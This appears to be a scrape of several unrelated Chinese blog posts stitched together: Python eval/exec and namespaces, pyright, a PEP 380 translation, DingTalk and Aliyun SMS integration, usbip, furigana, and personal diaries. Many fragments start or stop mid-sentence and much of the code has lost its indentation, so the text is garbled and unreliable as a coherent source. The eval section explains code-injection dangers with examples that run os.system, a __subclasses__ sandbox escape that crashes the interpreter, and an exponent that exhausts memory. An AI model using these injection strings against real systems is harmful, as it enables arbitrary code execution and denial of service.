东巴文有2223个单字,词语丰富,能够表达细腻的情感,能记录复杂的事件,亦能写诗作文。东巴文是世界上极少数依旧活着的象形文字,被誉为文字的“活化石”。2003年,东巴古籍被联合国教科文组织列入世界记忆名录,并进行数码记录。
2005年,丽江市东巴文化研究院开始进行东巴文国际标准化工作,系统整理东巴文的书写、语音和语义等。但在同年贵州省第二次乡村旅游论坛上,清华大学社会学系教授张小军提出“由于过度商业开发,东巴文正面临灭绝境地。”但保护东巴文的工作仍在进行当中。
Transifex
上进行。实际上,这才是官方认可的版本,也是最终发布的依据。前文说的进度,就是指在这个平台上的进度。Transifex
上的翻译。网上能看到有人零星地翻译了一些部分,但成果没有合入到官方平台上。社区内的译者还是挺多的,能力也有,只是太分散了。邮件组里就有位大佬,他说翻译过 40 多个标准库以及 C 模块的文档,但懒得组织。有人尝试组织过,时间久远的不说,就在去年夏天,某位在 PHP 界知名的站长开了个 Python 社区,召集了一批译者。他们译出了 Python 3.7 官方文档的入门教程部分,然而,后续内容的计划,似乎被放弃了。996.ICU
,才仅仅一周,Github star 数已经破 10 万,绝对创造纪录了。程序员发起的活动,就是有如此大的力量。公司将办公协同基本上都搬到钉钉线上来了,偶有部门个性的功能,钉钉没有合适的应用可以解决,所以只能自己开发系统解决。钉钉企业内部应用分E应用和微应用,E应用说白了就是小程序,微应用是H5页面。如果公司内部系统全接口开发的,并且微信小程序有开发经验,E应用首选。内部系统是传统模式那就微应用吧。我们公司没有成体系的OA系统,所以就针对部分特殊需求单开吧,微应用更快。
先进钉钉开放平台https://open.dingtalk.com,进入应用开发栏目,微应用管理,创建企业内部应用,设置应用名称,logo、简介、应用首页,pc首页,后台地址,服务器信息等。企业内部应用是不需要钉钉审核的。如果是开发商,需要创建第三方应用,这个是需要钉钉审核的。内部应用创建完成后就会得到AgentId、AppKey和AppSecret。进入应用权限管理中社情对应的权限,默认开通的基础权限,如果需要审批、代办等权限需要在下面权限列表里面单独申请,不过还在不需要钉钉审核,即开即用。
钉钉的文档着实没体系,东一个链接西一个链接的。总结下来免登流程分四步:1、前端获取钉钉免登授权码code;2、后端获取access_token;3、使用授权码code和access_token换取用户userid;4、通过access_token和userid换去用户详情userinfo。
1、获取授权码code。
首先页面引入JSAPI。
其次调用JSAPI组件。
2、后台获取access_token
access_token很简单,只要把AppKey和AppSecret传到接口地址上去,就能拿到。鉴于钉钉后端都是接口请求的,建议把curl提取出来做个函数,接口域名、路径、请求方式、传参全部参数化,调用统一的curl就好了。
3、换取userId。
首先把前台调用JSAPI组件的结果传到后台,我用AJAX干的。JSAPI组件初始化反馈的结果已经是一个标准的json格式,不用转换直接传后台就好。
再调用钉钉的获取userId接口获取userId,方法和获取access_token的方法一致,参数就是code和access_token。
4、换取userInfo。
调用钉钉获取userInfo接口获取userInfo,方法和前面一致,参数是access_token和userId。
授权码code是每次请求都不一样,单次请求的数据5分钟有效,所以没必要缓存,直接用一次调一次。access_token有效期7200秒,自动续期。缓不缓存根据需要自便吧
pyright
,引起了社区内的多方关注。# 不加检查
def greeting(name):
return 'Hello ' + name
# 添加检查
def greeting(name: str) -> str:
return 'Hello ' + name
mypy
、Google 出的pytype
、Facebook 出的pyre-check
。三足鼎立的局面要被打破了。Typeshed
的副本。(注:使用静态的 pyi 文件,检查内置模块、标准库和三方件 )Watchman
模块,该“观察者”会监听代码文件,跟踪所做的修改。微软的 pyright 有个 watch 模式,应该是吸收了这点,而且更加好用(因为不需要额外安装 Watchman 和其它依赖)。query
参数,可以对源码做局部区域性的检查,例如查询某行中一个表达式的类型、查询一个类的全部方法并返回成列表,等等,这样可以避免做全面的检查。x = 10
def func():
y = 20
a = eval('x + y')
print('a: ', a)
b = eval('x + y', {'x': 1, 'y': 2})
print('x: ' + str(x) + ' y: ' + str(y))
print('b: ', b)
c = eval('x + y', {'x': 1, 'y': 2}, {'y': 3, 'z': 4})
print('x: ' + str(x) + ' y: ' + str(y))
print('c: ', c)
func()
a: 30
x: 10 y: 20
b: 3
x: 10 y: 20
c: 4
>>> x = 1
>>> y = exec('x = 1 + 1')
>>> print(x)
>>> print(y)
2
None
>>> a = "[[1,2], [3,4], [5,6], [7,8], [9,0]]"
>>> print(eval(a))
[[1, 2], [3, 4], [5, 6], [7, 8], [9, 0]]
>>> a = "{'name': 'Python猫', 'age': 18}"
>>> print(eval(a))
{'name': 'Python猫', 'age': 18}
# 与 eval 略有不同
>>> a = "my_dict = {'name': 'Python猫', 'age': 18}"
>>> exec(a)
>>> print(my_dict)
{'name': 'Python猫', 'age': 18}
>>> result = eval('[].append(2)')
>>> print(result)
None
>>> result = exec('1 + 1')
>>> print(result)
None
def foo():
exec('y = 1 + 1\nprint(y)')
print(locals())
print(y)
foo()
2
{'y': 2}
Traceback (most recent call last):
...(略去部分报错信息)
print(y)
NameError: name 'y' is not defined
z = locals()['y']
,然而如果不小心写成了下面的代码,则会报错:def foo():
exec('y = 1 + 1')
y = locals()['y']
print(y)
foo()
#报错:KeyError: 'y'
#把变量 y 改为其它变量则不会报错
KeyError
指的是在字典中不存在对应的 key 。本例中 y 作了声明,却因为循环引用而无法完成赋值,即 key 值对应的 value 是个无效值,因此读取不到,就报错了。>>> eval("__import__('os').system('whoami')")
desktop-fa4b888\pythoncat
>>> eval("__import__('subprocess').getoutput('ls ~')")
#结果略,内容是当前路径的文件信息
rm -rf ~
,那当前目录的所有文件都会被删除干净。{'__builtins__': None}
或者 {'__builtins__': {}}
。>>> s = {'__builtins__': None}
>>> eval("__import__('os').system('whoami')", s)
#报错:TypeError: 'NoneType' object is not subscriptable
__builtins__
包含了内置命名空间中的名称,在控制台中输入 dir(__builtins__) ,就能发现很多内置函数、异常和其它属性的名称。在默认情况下,eval 函数的 globals 参数会隐式地携带__builtins__
,即使是令 globals 参数为 {} 也如此,所以如果想要禁用它,就得显式地指定它的值。>>> ().__class__.__bases__[0].__subclasses__()
#警告:千万不要执行如下代码,后果自负。
>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})
>>> eval("2 ** 888888888", {"__builtins__":None}, {})
literal()
是 eval() 的安全替代,与 eval() 不做检查就执行的方式不同,ast.literal() 会先检查表达式内容是否有效合法。它所允许的字面内容如下:strings, bytes, numbers, tuples, lists, dicts, sets, booleans, 和 None
import ast
ast.literal_eval("__import__('os').system('whoami')")
报错:ValueError: malformed node or string
from types import FunctionType
foo_code = compile('def foo(): return "bar"', "<string>", "exec")
foo_func = FunctionType(foo_code.co_consts[0], globals(), "foo")
print(foo_func())
bar
>>> from types import FunctionType
>>> from inspect import signature
>>> signature(FunctionType)
<Signature (code, globals, name=None, argdefs=None, closure=None)>
PyCodeobject
,作为types.CodeType
对外开放。非内置方法拥有一个__code__
属性,该属性保存了相应的代码对象。利用内置的 compile() 方法,可以在运行期创建types.CodeType
对象。__name__
属性。只真正对 lambdas 有用(由于匿名性,它们通常没有名称),并且重命名函数。cell
对象的元组。创建 cell 对象并非完全是直截了当的,因为需要调用 CPython 的内部组件,但有一个库可以令它更加方便:exalt
(无耻的广告)。(译注:这个库是作者开发的。)>>> foo_code = compile('def foo(): return "bar"', "<string>", "exec")
>>> foo_func = FunctionType(foo_code.co_consts[0], globals(), "foo")
>>> print(foo_func())
Python猫交流学习群
里的 M 同学提了个问题。这个问题挺有意思,经初次讨论,我们认为它无解。打扰一下大家,请教一个问题,已知 list = [‘A’, ‘B’, ‘C’, ‘D’] , 如何才能得到以 list 中元素命名的新列表 A = [], B = [], C = [], D = [] 呢?
>>> 'A' = []
...SyntaxError: can't assign to literal
literal
指的是字面量
,这是计算机科学中常见的一个概念,用于表达源代码中的固定值。 例如,整数、浮点数、字符串等基本类型,就是字面量。# J 同学的解答
>>> list1 = ['A', 'B', 'C', 'D']
>>> for i in list1:
>>> globals()[i] = []
>>> A
[]
# Q 同学的解答
>>> list1 = ['A', 'B', 'C', 'D']
>>> for i in list1:
>>> exec(f"{i} = []")
>>> A
[]
# 以下代码可替换上例的第 4 行
exec(i + " = []")
# 或者:
exec("{} = []".format(i))
# 或者:
exec(' '.join([i, '= []']))
>>> exec('x = 1 + 2')
>>> x
3
# 执行代码段
>>> s = """
>>> x = 10
>>> y = 20
>>> sum = x + y
>>> print(sum)
>>> """
>>> exec(s)
30
注意:在 Python3 中,exec() 是个内置方法;而在 Python2 中,exec 是个语句(statement),另外有个 execfile() 方法,两者相合并,就成了 Python3 中的 exec() 方法。本文使用的是 Python3。
柯尼斯堡七桥问题
与 四色地图问题
,相信大家都曾见过,而在计算机领域,它也带来了诸多的研究成果:最小生成树问题、旅行商问题(NP困难)、拓扑排序算法、广度优先算法、深度优先算法,等等。特伦斯·谢诺夫斯基
(Terrence Sejnowski)。Vamei 是赤道附近一个台风的名字。按照气象规律,台风不常出现在赤道。所以,Vamei是一个离群的风,无所顾忌地生长,不着边际地游荡。
.py
后缀结尾的文件就是一个模块(module)。# A 模块的内容:
print("module A : ", __name__)
# B 模块的内容:
import A
print("module B : ", __name__)
__name__
指的是当前模块的名字。代码的逻辑是:A 模块会打印本模块的名字,B 模块由于引入了 A 模块,因此会先打印 A 模块的名字,再打印本模块的名字。module A : __main__
module A : test module B : __main__
# A 模块的内容:
print("module A : ", __name__)
if __name__ == "__main__":
print("private info.")
>>> import A
>>> print(dir(A))
['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__']
globals()
和 locals()
,可以将变量的“名值对”打印出来。x = 1
def foo():
y = 2
print("全局变量:", globals())
print("局部变量:", locals())
foo()
全局变量: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001AC1EB7A400>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'C:/pythoncat/A.py', '__cached__': None, 'x': 1, 'foo': <function foo at 0x000001AC1EA73E18>}
局部变量: {'y': 2}
x = 1
y = 1
def foo():
y = 2
x = 2
print("inside foo : x = " + str(x) + ", y = " + str(y))
foo()
print("outside foo : x = " + str(x) + ", y = " + str(y))
inside foo : x = 2, y = 2 outside foo : x = 1, y = 1
Namespaces are one honking great idea — let’s do more of those!
——译:命名空间是个牛bi哄哄的主意,应该多加运用!
# 例1:
x = x + 1
# 例2:
x = 1
def foo():
x = x + 1
foo()
# 例3:
x = 1
def foo():
print(x)
x = 2
foo()
# 例4:
def foo():
if False:
x = 3
print(x)
foo()
# 例5:
if False:
x = 3
print(x)
1、没有报错
2、报错:name ‘x’ is not defined
3、报错:local variable ‘x’ referenced before assignment
例 1 是一个定义变量的过程,本身未完成定义,而等号右侧就想使用变量 x,因此报变量未定义。
例 2 和例 3 中,已经定义了全局变量 x,如果只在 foo 函数中引用全局变量 x 或者只是定义新的局部变量 x 的话,都不会报错,但现在既有引用又有重名定义,这引发了一个新的问题。请看下例的解释。
例 4 中,if 语句判断失效,因此不会执行到 “x=3” 这句,照理来说 x 是未被定义。这时候,在 locals() 局部命名空间中也是没有内容的(读者可以试一下)。但是 print 方法却报找到了一个未赋值的变量 x ,这是为什么呢?
使用 dis 模块查看 foo 函数的字节码:
LOAD_FAST 这句说明它在局部作用域中找到了变量名 x。既然此时在 locals() 局部命名空间中没有内容,那局部作用域中找到的 x 是来自哪里的呢?(20190513update:有错,修改)
实际上,Python 虽然是所谓的解释型语言,但它也有编译的过程 (跟 Java 等语言的编译过程不同)。在例 2-4 中,编译器先将 foo 方法解析成一个抽象语法树(abstract syntax tree),然后扫描树上的名字(name)节点,接着,所有被扫描出来的变量名,都会作为局部作用域的变量名存入内存(栈?)中。
在编译期之后,局部作用域内的变量名已经确定了,只是没有赋值。在随后的解释期(即代码执行期),如果有赋值过程,则变量名与值才会被存入局部命名空间中,可通过 locals() 查看。只有存入了命名空间,变量才算真正地完成了定义(声明+赋值)。
而上述 3 个例子之所以会报错,原因就是变量名已经被解析成局部变量,但是却未曾被赋值。
可以推论:在局部作用域中查找变量,实际上是分查内存与查命名空间两步的。 另外,若想在局部作用域内修改全局变量,需要在作用域中写上 “global x”。
例 5 是作为例 4 的比对,也是对它的原理的补充。它们的区别是,一个不在函数内,一个在函数内,但是报错完全不同。前面分析了例 4 的背后原理是编译过程和抽象语法树,如果这个原理对例 5 也生效,那两者的报错应该是一样的。现在出现了差异,为什么呢?
我得承认,这触及了我的知识盲区。我们可以推测,说例 5 的编译过程不同,它没有解析抽象语法树的步骤,但是,继续追问下去,为什么不同,为什么没有解析语法树的步骤呢?如果说是出于对解析函数与解析模块的代价考虑,或者其它考虑,那么新的问题是,编译与解析的底层原理是什么,如果有其它考虑,会是什么?
这些问题真不可爱,一个都答不上。但是,自己一步一步地思考探寻到这一层,又能怪谁呢?
def make_averager():
count = 0
total = 0
def averager(new_value):
nonlocal count, total
count += 1
total += new_value
return total / count
return averager
averager = make_averager()
print(averager(10))
print(averager(11))
### 输出结果:
10.0
10.5
命名空间包
,因为它是对前面谈论的所有话题的延续。然而,关于它的背景、实现手段与使用细节,都不重要,我那敏感而发散的思维突然捕捉到了一种相似结构,似乎这才更值得说。最近幾個月在這個博客發了不少歌詞翻譯 似乎有要轉型成音樂博主的趨勢 ,前段時間買了個新域名
sak.uy ,準備專門用來放這些東方歌曲的歌詞翻譯,於是分設了單獨的博客「
Sakuya的音樂盒 」。主博客這邊右側邊欄會有到音樂盒的鏈接。
曾經在這邊的那些歌儘量保持 URL 跳轉過去,新的歌詞翻譯會發到那邊去,還想繼續聽歌的話請繼續訂閱那邊的 RSS 呀。
主博客這邊還是像往常一樣保持記錄生活點滴和技術經驗好了。說道介紹技術, 有人問過我那些日語歌詞上給漢字標註的假名都是我一個個手輸的麼? 一開始是手輸的,後來發現了不錯的自動化方案,於是這裏介紹一下。
這是個 python 寫的小程序(嚴格說是庫),可以把一段日文轉換成標準的 HTML 形式的
<ruby>
標籤的振假名( 振(ふ) り 仮名(かな) )。
它本身只是個方便的格式化庫,實際工作是用 python-mecab 這個 binding 去查詢 mecab
這個著名的日語語料分析庫。要用它還得配合一些開源的 mecab 詞典,這些在
[archlinuxcn]
都有打好的包了,直接安裝:
$ sudo pacman -Syu python-furigana mecab-git python-mecab mecab-ipadic
裝好之後用法也很直接,甚至沒有 binary 直接調用 python 的 module 就可以:
$ python -m furigana.furigana "振り仮名の例"
<ruby><rb>振</rb><rt>ふ</rt></ruby>り<ruby><rb>仮名</rb><rt>かめい</rt></ruby>の<ruby><rb>例</rb><rt>れい</rt></ruby>
就是提供日語作爲輸入,然後輸出 HTML 形式的
<ruby>
標籤而已。
像上面的例子中出現的錯誤(「振り仮名」完整的一個詞中「仮名」意思是「平仮名」應該發音「がな」而非意爲「假的人名」的「かめい」)
可以看出其實標註的準確率還是有些問題的。嘛日語作爲一個非常依賴上下文判斷的語言,
經常日本人都會搞錯某些漢字的發音,這些也不能強求機械化的算法能 100% 正確實現。
好在單純的詞典匹配也能滿足大部分標註的需要了,用這個標註總體來說 95%
以上的情況都是正確的(歌詞的話正確率低一些,畢竟歌詞中古語啦当て字啦訓読み這些情況很常見)。
然後我的博客用 reStructuredText 語法寫,不能直接用 HTML 標籤(雖然我加了
:html:
這個 行內角色(inline role) 但是大量用也不方便)。這個博客一開始用
Pelican 重寫主題的時候
我就實現了個自己的
:ruby:
行內角色(inline role) 用來標發音,於是一段
sed 就能把 python-furigana 的輸出轉換成我用的 rst 語法:
$ which clipboard Co Ci Ct
clipboard: aliased to xclip -selection clipboard
Co: aliased to clipboard -o
Ci: aliased to clipboard -i
Ct () {
t=$(mktemp /tmp/furigana-XXXX)
python -m furigana.furigana $(Co) | sed 's@<ruby><rb>@ :ruby:`@g;s@</rb><rt>@|@g;s@</rt></ruby>@` @g' | sponge $t
cat $t | tee /dev/tty | perl -pe 'chomp if eof' | Ci
}
上面這些 alias 在我的 .bashrc 中。有了這些之後, 我只要把需要標註的日語文本放入剪切版,執行 Ct ,再粘帖結果就好了。
$ echo "振り仮名の例" | Ci
$ Ct
:ruby:`振|ふ` り :ruby:`仮名|かめい` の :ruby:`例|れい`
然後所有那些歌詞上標註的假名都是這樣一句一句標註好之後,再手動校對修改的。
peps-cn
。for v in g:
yield v
send()
,throw()
和close()
的情况下,要使子生成器与调用者正确地交互,就相当困难。如后面所说,必要的代码非常复杂,因此想要正确地处理所有特殊情况,将会非常棘手。yield from <expr>
__next__()
方法。如果发送的值不是 None,则调用迭代器的 send() 方法。如果调用引发了 StopIteration,则恢复委托生成器。任何其它异常都会传递给委托生成器。RESULT = yield from EXPR
语句等同于以下语句:_i = iter(EXPR)
try:
_y = next(_i)
except StopIteration as _e:
_r = _e.value
else:
while 1:
try:
_s = yield _y
except GeneratorExit as _e:
try:
_m = _i.close
except AttributeError:
pass
else:
_m()
raise _e
except BaseException as _e:
_x = sys.exc_info()
try:
_m = _i.throw
except AttributeError:
raise _e
else:
try:
_y = _m(*_x)
except StopIteration as _e:
_r = _e.value
break
else:
try:
if _s is None:
_y = next(_i)
else:
_y = _i.send(_s)
except StopIteration as _e:
_r = _e.value
break
RESULT = _r
return value
语句在语义上等同于 raise StopIteration(value)
,除了一点,当前返回的生成器中的 except 子句无法捕获该异常。class StopIteration(Exception):
def __init__(self, *args):
if len(args) > 0:
self.value = args[0]
else:
self.value = None
Exception.__init__(self, *args)
__next __()
、send()、throw() 和 close() 。y = f(x)
y = yield from g(x)
throw()
与 close()
,可以合理地预期,如果从外部向线程内抛入了一个异常,那么首先应该在线程挂起处的最内部的生成器中引发,再从那里向外传递;而如果线程是从外部调用 close() 来终结的,那也应该从最内部往外地终止处于活动态的生成器链。__next__()
的调用与 yield 返回值,可能造成 O(n) 开销,最坏情况下会是 O(n**2)。__next__()
或 send() 时,首先检查该槽,如果非空,则它引用的生成器将会被激活。如果引发了 StopIteration,该槽会被清空,并且主生成器会被激活。__next__()
的调用,或者用带有指定值的 send() 调用来替换它,目的是支持对生成器作装饰,以便可以自动地执行初始的 __next__()
。return None
。自从有了娃儿,曾经从来没觉得时间过的快的我,总是感慨时间飞逝,一恍又是一年,如今小女已经四岁了,我俩也是朝着40岁的年龄直奔而去,按照我们老家习俗,36岁是个中年标志,过了36岁生日就真的是顶梁柱了,而36岁于我俩而言,也就是下一个春节的光景了。去年临时兴起写了一篇结婚纪念日的文,今年再更一篇怕是要变成了一年一更了,当然前提是博客没倒闭。
之前一直说吵架是我俩这几年的婚姻的主基调,加之婆媳关系不好,吵架更甚。去年婆媳终于不在一个屋檐下,相对来说吵架频次也确实降低了些,不过凶猛程度不降反升,甚至在2018年年末闹到轻生的田地,冷静下来,仍唏嘘不已。总结起来,吵来吵去无外乎每次同样的原因,最后又是同样的结局。之前看过一篇文章,关于男女相处之道,列举了最容易伤害对方的四种情形:1. 贬低对方。对方做错了一件事,你说:你真蠢,你怎么这么笨?2. 为自己辩解。要不是你起晚了,咱们也不至于吃不上午饭!3. 嫌弃对方。我都和你在一起了,你怎么还这么对我。4. 冷战。拒绝接受对方提出的协商条件,赌气不合作。而这些正是容易点燃怒火的引线,所以2019年再立flag,克制,沉默,反省,不轻言伤你,不妄言罪己。平等、尊重、真诚应该也是可以维持很好的夫妻关系。
虽然说再立flag,但是可以相见,未来还是会有争吵,特别是围绕着孩子教育问题。上次的一个幼儿试听课那老师说现在的社会经济环境导致了目前多数工薪家庭出现的一种普遍现象,家有儿女的同时,也有一个焦虑的妈妈,和一个缺失的爸爸。娃儿还没正式上幼儿园呢,我们已经因为教育里面开始有了冲突,比如关于要不要提前上托班的问题,媳妇主张要上,提前适应幼儿园的环境。而我不主张,我甚至不想让她去上幼儿园,因为国家规定一年级是从0基础开始教学,我只想让她多玩几年,有个无忧无虑的童年。即便将来,也不要上什么补习班、培训班,不要在人潮中迷失了她自己的天性。即便挤破头皮上了名校,花尽所有时间用来补习,她就能成材吗?大概率她会是如同你我一样,成为一个普通人,拿着一份能养活自己的薪水。虽说现在我能想的如此这般,可是再过一两个月就要开始幼儿园报名了,我有那魄力,能顶着世俗的眼光不让女儿上幼儿园吗?我肯定做不到,言行不一在自己这里就已经兑现,将来我们会因此而不吵架?是该认真的想想了。
预定的纪念品还没有送达,而此刻媳妇已经买好了晚上的《疯狂的外星人》电影票,如同对这个小家的付出,感谢有你,柴米油盐中我们一起,带着宝贝,共赴明天。写在结婚五周年的纪念日。
自从上次TP升级后,一直也没有新用户注册,毕竟要验证手机号码,现在大家的隐私保护意识都很强大,也就是身正不怕影子斜,才敢大胆在我这种小站上注册,感谢大家的信任。那天看邮件,发现收到一个评论提醒,是响石潭医生的博客评论回复,才发现我的短信平台啥时候崩掉了,直接影响了大佬的到访。
先去查了下阿里云账户,看看是不是没钱了,用的是后付费的,用一条计费一条的这种。余额还有5块多钱呢,肯定不是这问题。那不是我应用的问题就是接口的问题了。简单调试了下我的应用,手机号,验证码都准确的传递到接口上了,不过接口没反应,既不反馈成功也不反馈失败,就是没拉起来。然后就去阿里云去看了下文档,是不是短信平台升级了,有个意外发现,SDK有新版,功能到是没有发现新增,但是SDK全部规范了。并且打了composer包,这就更好了,上次做的时候还是用的TP自定义扩展extend,这下可以直接用vendor了。
切换到项目根目录,执行composer require alibabacloud/client命令,完成后,TP的vendor目录下就有了一个alibabacloud的扩展。接下来改造应用即可
如果,通过这个链接,进入阿里云OpenAPI Explorer界面,填写相关的短信模板签名,模板code,和模板变量。其中模板变量这里踩了一个坑,等下讲。右侧就自动生成了你需要的代码,拷贝其中的代码到你的控制器,稍加改造。
首先当然是use这个扩展类库。原封不动的拷贝过来即可。
将AlibabaCloud::accessKeyClient的静态方法封装到自己的方法中,我这里就用上一版本的方法名了,给getAcsClient方法两个参数,一个手机号,一个验证码。下面的query请求数组将自动生成的用两个参数替代就好了,前面说我踩了个坑,我用模板里面的变量名称${code}传生成的代码,这里直接用了$num替换,报了一个Object {Message: "JSON参数不合法", RequestId: "EBA7EC8F-8484-45B8-A471-B9DB672C50F2", Code: "isv.INVALID_JSON_PARAM"}这样的错误,再回过头去看API错误码,发现原因,所以这里重新做下拼接就可以了。
然后改造下上一版中的发送短信方法就可以了,将$resp = static::getAcsClient()->getAcsResponse($request);改成$resp = $this->getAcsClient($data['mobiphone'],$num);将上一版中没用的json构造数据部分删除就妥了。
好了,水文结束,要下班了。
岁尾年终,紧赶着在年前两天放假了,休息了一天去买买买,又花了一天打扫房子和洗脸,收拾妥当,除夕当天赶着高速免费,早早的出发回家了。我家女儿习惯了睡懒觉,一般不到九十点钟是不会起床的,这天趁小家伙还在被窝,裹着毛毯直接在睡梦中给她抱车上了。一路还算不错,挺顺畅的到家,要论堵车,G50长兴林城段长年累月的肠梗阻,节假日不赶上都不正常。
耗时两个半钟头踏上了故乡的土地,脚还没沾到泥土就收到关于禁止燃放烟花爆竹的短信,措辞严厉,一副好像看谁都不爽的嘴脸。下午时分也收到了上海发来的外环内禁止燃放烟花爆竹的短信,措辞就好多了,至少大过年的还会祝个过年好。自从一些立法权限下放到地市级层面,浙北四线城市湖州就开始走在的作死的路上,满以为自己有着北京的政治地位,或者有着上海的经济基础,越是城市大,越是管理精细,浙北小城直接给你一刀切,管你呢,不让放就是不让放,不想想安吉48W人口,大部分还是传统的农业人口,安吉县还是一个传统的农业县。湖州也不过在浙江排名倒数的几位。不能因为大领导一句绿水青山,你下面就搞一刀切吧,这样的主政思维也是醉了。
过年了,老家的宽带也到期了,好巧不巧就过年这天到期,好吧,就去续费,700软妹币,一分不少,三年前是这价格,三年后还是这价格,关键是网速只有50M,三年前是20M。你就说坑不坑吧,感情国家这几年倡导的提速降费在大湖州硬是没有落地生根啊。三年前我上海这边小区800多一年的宽带费20M,三年后只有360块钱了,提速到了200M。因为老人不懂,还被营业厅忽悠了装个IPTV,NND,现在智能电视能装软件,能投屏,我要你个IPTV有鸡毛用?
三十晚上守岁算是没正经守了,12点一过就去睡觉了,睡到后半夜,娃儿怎么这么烫,一摸,这肯定是发烧了,一顿翻箱倒柜找出两个温度计,电子温度计显示38.5,测了几遍,毕竟电子的误差大,用水银温度计量了一下腋下体温38.3,确实发烧了,问题是没有其它症状,从上海回来,娃儿的小药箱也没带,这大半夜的如果持续烧下去也不行,起床,初一的凌晨四点,奔向20公里开外的县人民医院。2年没回家,竟然单独建了一个儿科楼?急诊不错诶,好几个诊室,都不用排队,2年前在老急诊楼只有一个儿科急诊室。很大的进步。医生看了下,没啥大事,上呼吸道感染,喉咙有点红肿,备点美林,再开点蒲地蓝和豉翘就准备回家了。一想高速不是免费么,那我从安吉南上高速到安吉北下,就不用穿城区了,路上少些红绿灯多好,天还没亮,外面下着雨雾蒙蒙的,往云鸿路左转黑灯瞎火雾蒙蒙的,路口又宽,还有隔离栏,一没留意逆向了,丫丫个呸的,大初一的,要被扣三分罚200了。
经过早上那一折腾,初一一天没精神,年前就被H1N1流感病毒感染的我,咳嗽是更厉害了,这下好了感冒一下就感两年,爽呆了。下午跟着堂兄弟们去隔壁鄣吴给四叔拜年,啥都挺好的,临了被四叔家10多年的老狗给咬了一口,还好,习惯穿大头皮鞋的我,狗牙恁是没咬穿皮鞋,就是被咬的有点疼。这怕是戊戌年还没过完吧,己亥年初一还要来一下子,可真是“鸿”运当头啊。
年前就跟媳妇说《流浪地球》肯定好看,于是初一就来订票,看初三晚上的,因为初一初二很忙嘛,也顾不上,电影院人也多,媳妇就在淘票票上搜索来着,淘票票这个有点问题,它定位只能到地级市,我们小县城并不能被单独定位出来,所以下面院线是湖州三县两区排一起的,需要在下面结果里面选影院。选对了影院,可是没有好位置了,都是边边角角的位置,上次被大黄蜂那个边角位置坑怕了,所以让媳妇果断选初四的,然后倒回去选日期,然后系统把默认的影院给重置了,变成里排名最前面的南浔的一家影院,然后看也没看,就付了钱,等收到确认短信后,傻眼了,票买在了100公里开外的湖州最东边,我可是在湖州最西边呀。赶紧进淘票票,发现这个还不能退不能改。只好先致电支付宝,支付宝提供了一个淘票票的客服电话,告知经过,软件为啥会自动重置选择的影院,淘票票客服还不错,答应先帮我们跟影院联系,看看能不能人工退票,毕竟跑100公里开外去看电影是件不现实的事情。结果算是惊喜,淘票票客服说已经协商好可以退票,并且补了一张15元的购票券给我们,似乎这有点受之有愧。妥妥的给客服五星好评。
经过重新购票,初四来到影院,影评就不写了,打小写作文最讨厌写观后感之类的题材。流浪地球的前半截剧情有点割断,据说是以为排片问题做了30分钟以上的删减。正好,这次娃儿看电影前半截有点闹,一会儿要上厕所,两会儿要上厕所,生物钟也是被这个春节给倒腾乱了。媳妇不辞辛苦的带着她跑了两趟卫生间,所以前半截正好她也错过了,事后问我前半截说的啥,我也没答出过一二三来。这几天看舆论上关于流浪地球的口碑吵翻了,豆瓣上那些诸如看到吴京就一星的,没看片就一星的,看到中国人拯救世界就一星的,尼玛让你爱个国就这么难?你Y天生就生了一副反骨?看着就挫气,算了,林子大了,什么鸟都有,这也是为啥中华五千年,无论哪个朝代总有奸臣总有逆子。
回上海的路上,不知不觉,发现破车已经被我开了十万公里了,刨去开其它车的里程,这算是一个明确的数据了,从此脱离新手行列,所谓三年新手司机,六年夹生司机,时间里程双重达标,开始进入老司机行列了,见的车祸多了,开车是越来越慢了,码表指针很久就超过130了。想一想,人生还有很多事没完成,特别是娃儿还没长大成人,真是碰了撞了还害了别人,三十多年来第一次如此这般的怕死。
最后,开工几天了,大家也都陆续开工了,祝大家新年工作顺利!
惠狐 megumifox 寫了篇 用PulseAudio將電腦的聲音用手機放出來 ,文末提到想知道我怎麼用樹莓派轉發 USB 的,於是寫篇文章記錄一下。
家裏有個裝了 Arch Linux ARM 的樹莓派3B 閒置着,裝了 Arch Linux ARM 偶爾上電更新一下,
不過因爲性能實在不適合做別的事情於是一直在吃灰。某日 給老婆安利幻想萬華鏡和老婆看片
的時候, 老婆不吃安利於是遷怒鍵盤鼠標鍵盤鼠標被長長的 USB 線扯着感覺很難受
,於是偶發奇想,能不能利用一下樹莓派的多達 4 個 USB 2.0 端口接鼠標鍵盤呢,
這樣鼠標鍵盤就可以跟着樹莓派來回走,不用拖着長長的 USB 線了。
上網搜了一下, Linux 環境有個 usbip 工具正好能做到這個。原理也很直觀, usbip 能把 USB 端口上的數據封裝成 IP 協議通過網絡轉發出去,從而兩個網絡間相互聯通的電腦就可以遠程轉發 USB 了。 設置好的話,就像是一臺 PC 多了幾個位於樹莓派上的 USB 端口,插上樹莓派的 USB 設備統統作爲 PC 的設備。
這篇文章假設有一個裝了 Arch Linux 的 PC ,和一個裝了 Arch Linux ARM 的樹莓派, 並且兩者間能通過網絡互相訪問到。別的發行版上大概也可以這麼做,只是我沒有試過。 usbip 工具似乎普遍被發行版打包了,除此之外需要的也只是 Linux 內核提供好的功能而已。
假設樹莓派上面網絡已經設置妥當,開機插電就能自動聯網。接下來安裝 usbip 工具:
$ sudo pacman -Syu usbip
然後需要記錄一下樹莓派的 IP 地址:
$ ip addr
3: wlan0: ......
inet 192.168.0.117/24 brd 192.168.0.255 scope global noprefixroute wlan0
......
接下來給 udev 添加一個規則,當插入 usb 設備的時候,執行我的腳本 usbipall.sh 把 usb 設備通過 usbip 共享出去:
$ cat /etc/udev/rules.d/usbipall.rules
ACTION=="add", SUBSYSTEM=="usb", RUN+="/usr/bin/bash /usr/local/bin/usbipall.sh"
這個 rules 文件 可以在我的 dotfiles 裏面找到 。
然後規則調用的 usbipall.sh 我這麼寫的, 文件同樣在我的 dotfiles 裏面 :
#!/bin/sh
(
allusb=$(usbip list -p -l)
for usb in $allusb
do
busid=$(echo "$usb" | sed "s|#.*||g;s|busid=||g")
if [ "$busid" = "1-1.1" ]
then
# ignoring usb ethernet
continue
fi
echo "$(date -Iseconds): Exporting $busid"
